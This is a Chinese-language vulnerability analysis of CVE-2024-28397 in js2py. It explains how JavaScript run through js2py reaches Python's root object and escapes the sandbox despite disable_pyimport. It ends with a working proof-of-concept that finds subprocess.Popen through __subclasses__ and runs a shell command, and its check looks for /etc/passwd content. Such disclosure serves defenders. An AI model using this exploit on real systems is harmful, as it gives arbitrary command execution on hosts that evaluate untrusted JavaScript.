作者 | 修订时间 |
---|---|
2024-06-23 01:02:22 |
JS2PY意外获取根对象CVE-2024-28397
0x01 环境
pip install js2py <= 0.74 #latest
0x02 前沿
无意在git上看到一个关于 CVE-2024-28397 的POC,js2py存在一个漏洞,攻击者可以使用这个漏洞在js代码中获得一个python对象的引用,使得攻击者可以逃逸js环境,在主机上执行任意命令。用户一般会调用js2py.disable_pyimport()
阻止JS代码使用pyimport
调用python模块,从而防止代码沙盒逃逸。但是使用这个漏洞,攻击者可以绕过这个限制,在主机上执行任意代码。
0x03 分析
根据提供的代码,发现Object.getOwnPropertyNames({}).__class__.__base__
,即可获取到一个根对象,那么这是如何得到的呢
我们可以写一个代码进行调试
import js2py
payload_2 = """console.log(Object.getOwnPropertyNames({}).__class__.__base__)"""
js2py.eval_js(payload_2)
整段代码会被self.code(*args)
去执行调用,他的解析顺序是从左往右console、.log()、Object ......
并且依次调用PyJs.get(self, prop)
,获取对应的对象。
那么这个Object.getOwnPropertyNames({})
是个啥呢,我们跟进发现,它其实就是一个方法用于获取,的所有 keys()
,那么大概率,这里返回的对象就为dict
对象
此时own.keys()
返回的对象 为 dict
得到的对象的确为dict
代码运行到这里之后,就简单多了,在python
里,获取根对象的方式,可以根据基本对象来获取根对象,例如以下
print({}.__class__.__base__)
print("".__class__.__base__)
print(().__class__.__base__)
得到根对象后,后面与ssti模版注入类似,
import js2py
payload_2 = """
let o = Object.getOwnPropertyNames({}).__class__.__base__.__subclasses__()
for (i in o) {
console.log(o[i])
}
"""
js2py.eval_js(payload_2)
下面有6种方式可以执行命令
内建函数 eval 执行命令
os 模块执行命令
popen 函数执行命令
importlib 类执行命令
linecache 函数执行命令
subprocess.Popen 类执行命令
由于 获取的对象均是 是被封装后的,例如根对象 都是 PyObjectWarpper
并且获取到的__init__
函数对象也均被封装
无法获取__globals__
,也就无法从这里入手获取内建变量__builtins__
所以这里一共有两种方式
- 利用
importlib
方法导入类
在python 中存在一个类 _frozen_importlib.BuiltinImporter
这个类,在python 中的作用就是 提供 Python 中 import 语句的实现(以及 __import__
函数)。我么可以直接利用该类中的load_module将os模块导入,从而使用 os 模块执行命令。
- 利用
subprocess.Popen
类执行命令
这里类是在python 2.4引入的 可以用subprocess这个模块来产生子进程,并连接到子进程的标准输入/输出/错误中去,还可以得到子进程的返回值。subprocess意在替代其他几个老的模块或者函数,比如:os.system,os.popen等函数。
0x04 POC
import js2py
from sys import version
payload = """
// [+] command goes here:
let cmd = "open -a Calculator"
let hacked, bymarve, n11
let getattr, obj
hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__
function findpopen(o) {
let result;
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i]
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item
}
if(item.__name__ != "type" && (result = findpopen(item))) {
return result
}
}
}
n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
n11
"""
def test_poc():
etcpassword_piece = "root:x:0:0"
result = ""
try:
result = repr(js2py.eval_js(payload))
except Exception:
return False
return etcpassword_piece in result
def main():
test_poc()
if __name__ == "__main__":
main()